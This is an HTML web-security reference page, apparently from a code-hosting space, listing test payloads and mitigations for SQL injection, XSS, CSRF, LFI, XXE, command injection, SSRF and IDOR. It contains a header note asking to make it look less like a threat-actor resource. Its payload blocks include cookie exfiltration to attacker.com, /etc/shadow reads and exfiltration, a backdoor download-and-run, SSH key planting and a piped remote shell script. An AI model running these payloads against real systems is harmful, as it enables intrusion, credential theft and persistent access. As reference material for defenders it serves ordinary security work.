defuse's picture
You can elaborate and/or flesh it out and/or contextualize it any way you want, but I want it in tact (actually it would be great if you also wanted to contribute some novel ideas into the lists if you have any you see I'm missing or haven't talked about, that includes entire methods if you please) and to look less like a threat actor resource WHICH IT IS NOT and more as the quick reference which it is for my work:
348020b verified
Raw History Blame Contribute Delete
47.8 kB
<!DOCTYPE html>
<html lang="en" class="dark">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Web Security Vulnerabilities - Professional Reference Guide</title>
<link rel="icon" type="image/x-icon" href="/static/favicon.ico">
<script src="https://cdn.tailwindcss.com"></script>
<script src="https://unpkg.com/feather-icons"></script>
<link href="https://cdnjs.cloudflare.com/ajax/libs/prism/1.29.0/themes/prism-tomorrow.min.css" rel="stylesheet" />
<script>
tailwind.config = {
theme: {
extend: {
colors: {
primary: {
50: '#f8f9fa',
100: '#e9ecef',
200: '#dee2e6',
300: '#ced4da',
400: '#adb5bd',
500: '#6c757d',
600: '#495057',
700: '#343a40',
800: '#212529',
900: '#000000',
},
accent: {
50: '#fff7ed',
100: '#ffedd5',
200: '#fed7aa',
300: '#fdba74',
400: '#fb923c',
500: '#f97316',
600: '#ea580c',
700: '#c2410c',
800: '#9a3412',
900: '#7c2d12',
}
}
}
},
darkMode: 'class'
}
</script>
<style>
.gradient-bg {
background: linear-gradient(135deg, #000000 0%, #1a1a1a 100%);
}
.hero-pattern {
background-image: radial-gradient(circle at 1px 1px, rgba(249, 115, 22, 0.1) 1px, transparent 0);
background-size: 20px 20px;
}
.vulnerability-card {
transition: all 0.3s ease;
}
.vulnerability-card:hover {
transform: translateY(-2px);
box-shadow: 0 20px 25px -5px rgba(0, 0, 0, 0.5), 0 10px 10px -5px rgba(0, 0, 0, 0.3);
}
.code-block {
background: #1a1a1a;
border: 1px solid #333;
border-radius: 8px;
}
.scroll-smooth {
scroll-behavior: smooth;
}
</style>
</head>
<body class="bg-black-900 text-white font-sans scroll-smooth">
<!-- Navigation -->
<nav class="fixed top-0 w-full bg-black-900/95 backdrop-blur-sm border-b border-gray-800 z-50">
<div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
<div class="flex justify-between items-center h-16">
<div class="flex items-center">
<i data-feather="shield" class="w-8 h-8 text-accent-500 mr-3"></i>
<span class="text-xl font-bold text-white">Security Reference</span>
</div>
<div class="hidden md:block">
<div class="ml-10 flex items-baseline space-x-4">
<a href="#overview" class="text-gray-300 hover:text-accent-500 px-3 py-2 rounded-md text-sm font-medium transition-colors">Overview</a>
<a href="#vulnerabilities" class="text-gray-300 hover:text-accent-500 px-3 py-2 rounded-md text-sm font-medium transition-colors">Vulnerabilities</a>
<a href="#methodologies" class="text-gray-300 hover:text-accent-500 px-3 py-2 rounded-md text-sm font-medium transition-colors">Methodologies</a>
<a href="#resources" class="text-gray-300 hover:text-accent-500 px-3 py-2 rounded-md text-sm font-medium transition-colors">Resources</a>
</div>
</div>
<div class="md:hidden">
<button id="mobile-menu-button" class="text-gray-300 hover:text-accent-500">
<i data-feather="menu" class="w-6 h-6"></i>
</button>
</div>
</div>
</div>
<!-- Mobile menu -->
<div id="mobile-menu" class="md:hidden hidden bg-black-800 border-t border-gray-700">
<div class="px-2 pt-2 pb-3 space-y-1 sm:px-3">
<a href="#overview" class="text-gray-300 hover:text-accent-500 block px-3 py-2 rounded-md text-base font-medium">Overview</a>
<a href="#vulnerabilities" class="text-gray-300 hover:text-accent-500 block px-3 py-2 rounded-md text-base font-medium">Vulnerabilities</a>
<a href="#methodologies" class="text-gray-300 hover:text-accent-500 block px-3 py-2 rounded-md text-base font-medium">Methodologies</a>
<a href="#resources" class="text-gray-300 hover:text-accent-500 block px-3 py-2 rounded-md text-base font-medium">Resources</a>
</div>
</div>
</nav>
<!-- Hero Section -->
<section class="relative pt-20 pb-16 gradient-bg hero-pattern">
<div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
<div class="text-center">
<h1 class="text-4xl md:text-6xl font-bold text-white mb-6">
Web Security Vulnerabilities
<span class="text-accent-500 block">Professional Reference Guide</span>
</h1>
<p class="text-xl text-gray-300 mb-8 max-w-3xl mx-auto">
A comprehensive reference guide for security professionals, penetration testers, and developers
</p>
<div class="flex flex-col sm:flex-row justify-center items-center space-y-4 sm:space-y-0 sm:space-x-8 mb-12">
<div class="flex items-center">
<i data-feather="database" class="w-6 h-6 text-accent-500 mr-2"></i>
<span class="text-lg font-semibold">15+ Vulnerability Types</span>
</div>
<div class="flex items-center">
<i data-feather="check-circle" class="w-6 h-6 text-accent-500 mr-2"></i>
<span class="text-lg font-semibold">200+ Test Cases</span>
</div>
<div class="flex items-center">
<i data-feather="shield-check" class="w-6 h-6 text-accent-500 mr-2"></i>
<span class="text-lg font-semibold">Professional Security Reference</span>
</div>
</div>
<div class="relative">
<img src="https://dfews.com/hero-security-center.png" alt="Security Operations Center" class="mx-auto rounded-lg shadow-2xl border border-gray-700 max-w-full h-auto">
<div class="absolute inset-0 bg-gradient-to-t from-black-900/50 to-transparent rounded-lg"></div>
</div>
</div>
</div>
</section>
<!-- Overview Section -->
<section id="overview" class="py-16 bg-black-800">
<div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
<div class="text-center mb-12">
<h2 class="text-3xl md:text-4xl font-bold text-white mb-4">Security Testing Overview</h2>
<div class="w-24 h-1 bg-accent-500 mx-auto"></div>
</div>
<div class="grid md:grid-cols-3 gap-8">
<div class="bg-black-900 p-6 rounded-lg border border-gray-700">
<div class="flex items-center mb-4">
<i data-feather="target" class="w-8 h-8 text-accent-500 mr-3"></i>
<h3 class="text-xl font-semibold text-white">Professional Purpose</h3>
</div>
<p class="text-gray-300">
This reference guide is designed for legitimate security testing, penetration testing, and vulnerability assessment activities. All content is provided for educational and professional development purposes.
</p>
</div>
<div class="bg-black-900 p-6 rounded-lg border border-gray-700">
<div class="flex items-center mb-4">
<i data-feather="cpu" class="w-8 h-8 text-accent-500 mr-3"></i>
<h3 class="text-xl font-semibold text-white">Testing Methodologies</h3>
</div>
<p class="text-gray-300">
Covering OWASP Top 10, advanced injection techniques, authentication bypasses, and modern attack vectors used in professional security assessments.
</p>
</div>
<div class="bg-black-900 p-6 rounded-lg border border-gray-700">
<div class="flex items-center mb-4">
<i data-feather="heart" class="w-8 h-8 text-accent-500 mr-3"></i>
<h3 class="text-xl font-semibold text-white">Best Practices</h3>
</div>
<p class="text-gray-300">
All testing should be performed on authorized systems only. This guide emphasizes responsible disclosure and ethical security practices.
</p>
</div>
</div>
</div>
</section>
<!-- Vulnerabilities Section -->
<section id="vulnerabilities" class="py-16 bg-black-900">
<div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
<div class="text-center mb-12">
<h2 class="text-3xl md:text-4xl font-bold text-white mb-4">Vulnerability Reference</h2>
<div class="w-24 h-1 bg-accent-500 mx-auto"></div>
<p class="text-gray-300 mt-4 max-w-2xl mx-auto">
Comprehensive reference covering common web application vulnerabilities, test cases, and mitigation strategies
</p>
</div>
<!-- SQL Injection -->
<div class="vulnerability-card mb-12 bg-black-800 rounded-lg border border-gray-700 p-6">
<div class="flex items-center mb-4">
<div class="w-4 h-4 bg-red-500 rounded-full mr-3"></div>
<h3 class="text-2xl font-bold text-white">SQL Injection</h3>
<span class="ml-auto bg-red-500 text-white px-3 py-1 rounded-full text-sm font-semibold">Critical</span>
</div>
<p class="text-gray-300 mb-6">
SQL injection allows attackers to interfere with the queries an application makes to its database, potentially accessing, modifying, or deleting unauthorized data.
</p>
<div class="grid md:grid-cols-2 gap-6">
<div>
<h4 class="text-lg font-semibold text-accent-500 mb-3">Common Test Cases:</h4>
<div class="code-block p-4 rounded-lg overflow-x-auto">
<pre><code class="text-green-400 text-sm">' OR 1=1--
"; DELETE FROM users--
" UNION SELECT password FROM users WHERE username = 'admin'--
" OR '1'='1
" OR "1"="1
" OR "a"="a
" AND "a"="b
" OR "a" LIKE "a
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT username,password,NULL FROM users--
'; WAITFOR DELAY '0:0:5'--
'; SELECT * FROM sys.tables--</code></pre>
</div>
</div>
<div>
<h4 class="text-lg font-semibold text-accent-500 mb-3">Mitigation Strategies:</h4>
<ul class="space-y-2 text-gray-300">
<li class="flex items-start">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
Use parameterized queries and prepared statements
</li>
<li class="flex items-start">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
Implement proper input validation and sanitization
</li>
<li class="flex items-start">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
Apply principle of least privilege to database users
</li>
<li class="flex items-start">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
Use stored procedures with proper parameterization
</li>
<li class="flex items-start">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
Enable SQL query logging and monitoring
</li>
<li class="flex items-start">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
Use web application firewalls (WAF) with SQL injection rules
</li>
</ul>
</div>
</div>
</div>
<!-- XSS -->
<div class="vulnerability-card mb-12 bg-black-800 rounded-lg border border-gray-700 p-6">
<div class="flex items-center mb-4">
<div class="w-4 h-4 bg-red-500 rounded-full mr-3"></div>
<h3 class="text-2xl font-bold text-white">Cross-Site Scripting (XSS)</h3>
<span class="ml-auto bg-orange-500 text-white px-3 py-1 rounded-full text-sm font-semibold">High</span>
</div>
<p class="text-gray-300 mb-6">
XSS vulnerabilities allow attackers to inject malicious scripts into web pages viewed by other users, potentially stealing session tokens, cookies, or performing actions on behalf of the user.
</p>
<div class="grid md:grid-cols-2 gap-6">
<div>
<h4 class="text-lg font-semibold text-accent-500 mb-3">Common Test Cases:</h4>
<div class="code-block p-4 rounded-lg overflow-x-auto">
<pre><code class="text-green-400 text-sm">&lt;script&gt;alert("XSS")&lt;/script&gt;
&lt;script&gt;alert(document.cookie)&lt;/script&gt;
&lt;img src="x" onerror="alert(document.cookie)"&gt;
&lt;a href="javascript:alert(document.cookie)"&gt;Click Here&lt;/a&gt;
&lt;svg onload=alert(document.domain)&gt;
&lt;script&gt;fetch('//attacker.com/xss?data='+document.cookie)&lt;/script&gt;</code></pre>
</div>
</div>
<div>
<h4 class="text-lg font-semibold text-accent-500 mb-3">Mitigation Strategies:</h4>
<ul class="space-y-2 text-gray-300">
<li class="flex items-start">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
Implement Content Security Policy (CSP) headers
</li>
<li class="flex items-start">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
Encode output based on context (HTML, JavaScript, URL)
</li>
<li class="flex items-start">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
Use modern frameworks with built-in XSS protection
</li>
<li class="flex items-start">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
Validate and sanitize all user input
</li>
<li class="flex items-start">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
Use HTTP-only and Secure cookie flags
</li>
<li class="flex items-start">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
Implement proper input validation on both client and server
</li>
</ul>
</div>
</div>
</div>
<!-- CSRF -->
<div class="vulnerability-card mb-12 bg-black-800 rounded-lg border border-gray-700 p-6">
<div class="flex items-center mb-4">
<div class="w-4 h-4 bg-orange-500 rounded-full mr-3"></div>
<h3 class="text-2xl font-bold text-white">Cross-Site Request Forgery (CSRF)</h3>
<span class="ml-auto bg-orange-500 text-white px-3 py-1 rounded-full text-sm font-semibold">High</span>
</div>
<p class="text-gray-300 mb-6">
CSRF attacks force authenticated users to submit unwanted requests to web applications where they're currently logged in.
</p>
<div class="grid md:grid-cols-2 gap-6">
<div>
<h4 class="text-lg font-semibold text-accent-500 mb-3">Common Test Cases:</h4>
<div class="code-block p-4 rounded-lg overflow-x-auto">
<pre><code class="text-green-400 text-sm">&lt;img src="http://example.com/transfer.php?amount=1000&to=attacker_account" /&gt;
&lt;form action="http://example.com/transfer.php" method="POST"&gt;
&lt;input type="hidden" name="amount" value="1000"&gt;
&lt;input type="hidden" name="to" value="attacker_account"&gt;
&lt;input type="submit" value="Submit request"&gt;
&lt;/form&gt;</code></pre>
</div>
</div>
<div>
<h4 class="text-lg font-semibold text-accent-500 mb-3">Mitigation Strategies:</h4>
<ul class="space-y-2 text-gray-300">
<li class="flex items-start">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
Implement CSRF tokens for state-changing operations
</li>
<li class="flex items-start">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
Use SameSite cookie attributes
</li>
<li class="flex items-start">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
Validate Referer and Origin headers
</li>
<li class="flex items-start">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
Implement double-submit cookie pattern
</li>
<li class="flex items-start">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
Use custom request headers for API endpoints
</li>
<li class="flex items-start">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
Implement proper authentication for sensitive operations
</li>
</ul>
</div>
</div>
</div>
<!-- LFI -->
<div class="vulnerability-card mb-12 bg-black-800 rounded-lg border border-gray-700 p-6">
<div class="flex items-center mb-4">
<div class="w-4 h-4 bg-orange-500 rounded-full mr-3"></div>
<h3 class="text-2xl font-bold text-white">Local File Inclusion (LFI)</h3>
<span class="ml-auto bg-orange-500 text-white px-3 py-1 rounded-full text-sm font-semibold">High</span>
</div>
<p class="text-gray-300 mb-6">
LFI vulnerabilities allow attackers to include files on a server through the web browser, potentially leading to information disclosure or code execution.
</p>
<div class="grid md:grid-cols-2 gap-6">
<div>
<h4 class="text-lg font-semibold text-accent-500 mb-3">Common Test Cases:</h4>
<div class="code-block p-4 rounded-lg overflow-x-auto">
<pre><code class="text-green-400 text-sm">../../../etc/passwd
../../../etc/shadow
/proc/self/environ%00
../../../../../../../../../../etc/passwd%00
../../../../../../../../../../../Windows/win.ini%00
php://filter/convert.base64-encode/resource=index.php
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
expect://ls</code></pre>
</div>
</div>
<div>
<h4 class="text-lg font-semibold text-accent-500 mb-3">Mitigation Strategies:</h4>
<ul class="space-y-2 text-gray-300">
<li class="flex items-start">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
Use allowlists for file inclusion
</li>
<li class="flex items-start">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
Validate and sanitize file paths
</li>
<li class="flex items-start">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
Disable dangerous PHP functions
</li>
<li class="flex items-start">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
Use proper file permissions
</li>
<li class="flex items-start">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
Implement proper error handling
</li>
<li class="flex items-start">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
Use chroot or jail environments
</li>
</ul>
</div>
</div>
</div>
<!-- XXE -->
<div class="vulnerability-card mb-12 bg-black-800 rounded-lg border border-gray-700 p-6">
<div class="flex items-center mb-4">
<div class="w-4 h-4 bg-orange-500 rounded-full mr-3"></div>
<h3 class="text-2xl font-bold text-white">XML External Entity (XXE)</h3>
<span class="ml-auto bg-orange-500 text-white px-3 py-1 rounded-full text-sm font-semibold">High</span>
</div>
<p class="text-gray-300 mb-6">
XXE vulnerabilities allow attackers to interfere with an application's processing of XML data, potentially accessing internal files or making network requests.
</p>
<div class="grid md:grid-cols-2 gap-6">
<div>
<h4 class="text-lg font-semibold text-accent-500 mb-3">Common Test Cases:</h4>
<div class="code-block p-4 rounded-lg overflow-x-auto">
<pre><code class="text-green-400 text-sm">&lt;!DOCTYPE foo [
&lt;!ENTITY xxe SYSTEM "file:///etc/passwd"&gt;
]&gt;
&lt;foo&gt;&amp;xxe;&lt;/foo&gt;
&lt;!DOCTYPE foo [
&lt;!ENTITY xxe SYSTEM "http://evil.com/exploit"&gt;
]&gt;
&lt;foo&gt;&amp;xxe;&lt;/foo&gt;</code></pre>
</div>
</div>
<div>
<h4 class="text-lg font-semibold text-accent-500 mb-3">Mitigation Strategies:</h4>
<ul class="space-y-2 text-gray-300">
<li class="flex items-start">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
Disable XML external entity processing
</li>
<li class="flex items-start">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
Use modern XML parsers with secure defaults
</li>
<li class="flex items-start">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
Validate XML input against strict schemas
</li>
<li class="flex items-start">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
Consider using JSON instead of XML
</li>
<li class="flex items-start">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
Implement proper input validation
</li>
<li class="flex items-start">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
Use sandboxed XML processing environments
</li>
</ul>
</div>
</div>
</div>
<!-- Command Injection -->
<div class="vulnerability-card mb-12 bg-black-800 rounded-lg border border-gray-700 p-6">
<div class="flex items-center mb-4">
<div class="w-4 h-4 bg-red-500 rounded-full mr-3"></div>
<h3 class="text-2xl font-bold text-white">Command Injection</h3>
<span class="ml-auto bg-red-500 text-white px-3 py-1 rounded-full text-sm font-semibold">Critical</span>
</div>
<p class="text-gray-300 mb-6">
Command injection is a security vulnerability that allows an attacker to execute arbitrary commands on the host operating system via a vulnerable application. This attack is possible when an application passes unsafe user supplied data to a system shell.
</p>
<div class="grid md:grid-cols-2 gap-6">
<div>
<h4 class="text-lg font-semibold text-accent-500 mb-3">Common Test Cases:</h4>
<div class="code-block p-4 rounded-lg overflow-x-auto">
<pre><code class="text-green-400 text-sm">; cat /etc/passwd
&& wget http://malicious.com/backdoor -O /tmp/backdoor && chmod +x /tmp/backdoor && /tmp/backdoor
| base64 /etc/shadow | curl -X POST -d @- http://attacker.com/exfil
`echo 'ssh-rsa AAAAB...' >> ~/.ssh/authorized_keys`
$(curl http://attacker.com/reverse_shell.sh | sh)</code></pre>
</div>
</div>
<div>
<h4 class="text-lg font-semibold text-accent-500 mb-3">Mitigation Strategies:</h4>
<ul class="space-y-2 text-gray-300">
<li class="flex items-start">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
Avoid using system commands with user input
</li>
<li class="flex items-start">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
Use parameterized commands or APIs
</li>
<li class="flex items-start">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
Implement strict input validation and sanitization
</li>
<li class="flex items-start">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
Use proper escaping and encoding
</li>
<li class="flex items-start">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
Run applications with least privilege
</li>
</ul>
</div>
</div>
</div>
<!-- SSRF -->
<div class="vulnerability-card mb-12 bg-black-800 rounded-lg border border-gray-700 p-6">
<div class="flex items-center mb-4">
<div class="w-4 h-4 bg-red-500 rounded-full mr-3"></div>
<h3 class="text-2xl font-bold text-white">Server-Side Request Forgery (SSRF)</h3>
<span class="ml-auto bg-red-500 text-white px-3 py-1 rounded-full text-sm font-semibold">Critical</span>
</div>
<p class="text-gray-300 mb-6">
Server-Side Request Forgery (SSRF) is a type of vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing.
</p>
<div class="grid md:grid-cols-2 gap-6">
<div>
<h4 class="text-lg font-semibold text-accent-500 mb-3">Common Test Cases:</h4>
<div class="code-block p-4 rounded-lg overflow-x-auto">
<pre><code class="text-green-400 text-sm">http://localhost:8080/admin
http://127.0.0.1:3306
http://10.0.0.0/8
http://[::1]:22
file:///etc/passwd
dict://attacker:11111/
gopher://127.0.0.1:9000/_GET%20/secret%20HTTP/1.1</code></pre>
</div>
</div>
<div>
<h4 class="text-lg font-semibold text-accent-500 mb-3">Mitigation Strategies:</h4>
<ul class="space-y-2 text-gray-300">
<li class="flex items-start">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
Validate and sanitize all user-supplied URLs
</li>
<li class="flex items-start">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
Implement URL allowlists and blocklists
</li>
<li class="flex items-start">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
Disable unnecessary URL schemes (file://, dict://, etc.)
</li>
<li class="flex items-start">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
Use network segmentation to isolate internal services
</li>
<li class="flex items-start">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
Implement proper error handling without information disclosure
</li>
</ul>
</div>
</div>
</div>
<!-- IDOR -->
<div class="vulnerability-card mb-12 bg-black-800 rounded-lg border border-gray-700 p-6">
<div class="flex items-center mb-4">
<div class="w-4 h-4 bg-orange-500 rounded-full mr-3"></div>
<h3 class="text-2xl font-bold text-white">Insecure Direct Object References (IDOR)</h3>
<span class="ml-auto bg-orange-500 text-white px-3 py-1 rounded-full text-sm font-semibold">High</span>
</div>
<p class="text-gray-300 mb-6">
IDOR vulnerabilities occur when applications expose internal object references without proper access control, allowing attackers to access unauthorized resources.
</p>
<div class="grid md:grid-cols-2 gap-6">
<div>
<h4 class="text-lg font-semibold text-accent-500 mb-3">Common Test Cases:</h4>
<div class="code-block p-4 rounded-lg overflow-x-auto">
<pre><code class="text-green-400 text-sm">http://foo.bar/viewuser?id=1
http://foo.bar/api/v1/users/12345/profile
http://foo.bar/download?file=invoice_12345.pdf
http://foo.bar/admin/edit_user?id=ADMIN_001
http://foo.bar/analytics/report?company_id=COMP_1234</code></pre>
</div>
</div>
<div>
<h4 class="text-lg font-semibold text-accent-500 mb-3">Mitigation Strategies:</h4>
<ul class="space-y-2 text-gray-300">
<li class="flex items-start">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
Implement proper access control checks
</li>
<li class="flex items-start">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
Use indirect object references instead of direct ones
</li>
<li class="flex items-start">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
Validate user permissions for each resource access
</li>
<li class="flex items-start">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
Implement rate limiting to prevent enumeration
</li>
<li class="flex items-start">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
Use UUIDs or random identifiers instead of sequential IDs
</li>
<li class="flex items-start">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
Implement proper authentication and authorization
</li>
</ul>
</div>
</div>
</div>
</div>
</section>
<!-- Methodologies Section -->
<section id="methodologies" class="py-16 bg-black-800">
<div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
<div class="text-center mb-12">
<h2 class="text-3xl md:text-4xl font-bold text-white mb-4">Testing Methodologies</h2>
<div class="w-24 h-1 bg-accent-500 mx-auto"></div>
</div>
<div class="grid md:grid-cols-3 gap-8">
<div class="bg-black-900 p-6 rounded-lg border border-gray-700">
<div class="flex items-center mb-4">
<i data-feather="book" class="w-8 h-8 text-accent-500 mr-3"></i>
<h3 class="text-xl font-semibold text-white">OWASP Testing Guide</h3>
</div>
<p class="text-gray-300 mb-4">
Comprehensive testing framework covering all aspects of web application security testing.
</p>
<ul class="space-y-2 text-gray-300">
<li class="flex items-center">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2"></i>
Information Gathering
</li>
<li class="flex items-center">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2"></i>
Authentication Testing
</li>
<li class="flex items-center">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2"></i>
Session Management Testing
</li>
<li class="flex items-center">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2"></i>
Input Validation Testing
</li>
<li class="flex items-center">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2"></i>
Error Handling Testing
</li>
</ul>
</div>
<div class="bg-black-900 p-6 rounded-lg border border-gray-700">
<div class="flex items-center mb-4">
<i data-feather="target" class="w-8 h-8 text-accent-500 mr-3"></i>
<h3 class="text-xl font-semibold text-white">Penetration Testing Methodology</h3>
</div>
<p class="text-gray-300 mb-4">
Systematic approach to security testing with clear phases and objectives.
</p>
<ul class="space-y-2 text-gray-300">
<li class="flex items-center">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2"></i>
Planning and Reconnaissance
</li>
<li class="flex items-center">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2"></i>
Scanning and Enumeration
</li>
<li class="flex items-center">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2"></i>
Vulnerability Analysis
</li>
<li class="flex items-center">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2"></i>
Exploitation
</li>
<li class="flex items-center">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2"></i>
Reporting and Documentation
</li>
</ul>
</div>
<div class="bg-black-900 p-6 rounded-lg border border-gray-700">
<div class="flex items-center mb-4">
<i data-feather="settings" class="w-8 h-8 text-accent-500 mr-3"></i>
<h3 class="text-xl font-semibold text-white">DevSecOps Integration</h3>
</div>
<p class="text-gray-300 mb-4">
Integrating security testing into the development lifecycle.
</p>
<ul class="space-y-2 text-gray-300">
<li class="flex items-center">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2"></i>
Static Application Security Testing (SAST)
</li>
<li class="flex items-center">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2"></i>
Dynamic Application Security Testing (DAST)
</li>
<li class="flex items-center">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2"></i>
Interactive Application Security Testing (IAST)
</li>
<li class="flex items-center">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2"></i>
Software Composition Analysis (SCA)
</li>
<li class="flex items-center">
<i data-feather="check" class="w-4 h-4 text-green-500 mr-2"></i>
Container Security Scanning
</li>
</ul>
</div>
</div>
</div>
</section>
<!-- Resources Section -->
<section id="resources" class="py-16 bg-black-900">
<div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
<div class="text-center mb-12">
<h2 class="text-3xl md:text-4xl font-bold text-white mb-4">Additional Resources</h2>
<div class="w-24 h-1 bg-accent-500 mx-auto"></div>
</div>
<div class="grid md:grid-cols-2 lg:grid-cols-3 gap-8">
<div class="bg-black-800 p-6 rounded-lg border border-gray-700">
<div class="flex items-center mb-4">
<i data-feather="external-link" class="w-6 h-6 text-accent-500 mr-3"></i>
<h3 class="text-lg font-semibold text-white">OWASP Foundation</h3>
</div>
<p class="text-gray-300">Official OWASP resources and documentation</p>
</div>
<div class="bg-black-800 p-6 rounded-lg border border-gray-700">
<div class="flex items-center mb-4">
<i data-feather="external-link" class="w-6 h-6 text-accent-500 mr-3"></i>
<h3 class="text-lg font-semibold text-white">NIST Cybersecurity Framework</h3>
</div>
<p class="text-gray-300">National standards for cybersecurity</p>
</div>
<div class="bg-black-800 p-6 rounded-lg border border-gray-700">
<div class="flex items-center mb-4">
<i data-feather="external-link" class="w-6 h-6 text-accent-500 mr-3"></i>
<h3 class="text-lg font-semibold text-white">SANS Institute</h3>
</div>
<p class="text-gray-300">Security training and certification resources</p>
</div>
<div class="bg-black-800 p-6 rounded-lg border border-gray-700">
<div class="flex items-center mb-4">
<i data-feather="external-link" class="w-6 h-6 text-accent-500 mr-3"></i>
<h3 class="text-lg font-semibold text-white">CWE/SANS Top 25</h3>
</div>
<p class="text-gray-300">Most dangerous software weaknesses</p>
</div>
<div class="bg-black-800 p-6 rounded-lg border border-gray-700">
<div class="flex items-center mb-4">
<i data-feather="external-link" class="w-6 h-6 text-accent-500 mr-3"></i>
<h3 class="text-lg font-semibold text-white">PTES Standards</h3>
</div>
<p class="text-gray-300">Penetration Testing Execution Standard</p>
</div>
<div class="bg-black-800 p-6 rounded-lg border border-gray-700">
<div class="flex items-center mb-4">
<i data-feather="external-link" class="w-6 h-6 text-accent-500 mr-3"></i>
<h3 class="text-lg font-semibold text-white">MITRE ATT&CK</h3>
</div>
<p class="text-gray-300">Adversarial tactics and techniques knowledge base</p>
</div>
</div>
</div>
</section>
<!-- Footer -->
<footer class="bg-black-800 border-t border-gray-700 py-8">
<div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
<div class="text-center">
<div class="flex items-center justify-center mb-4">
<i data-feather="shield" class="w-6 h-6 text-accent-500 mr-2"></i>
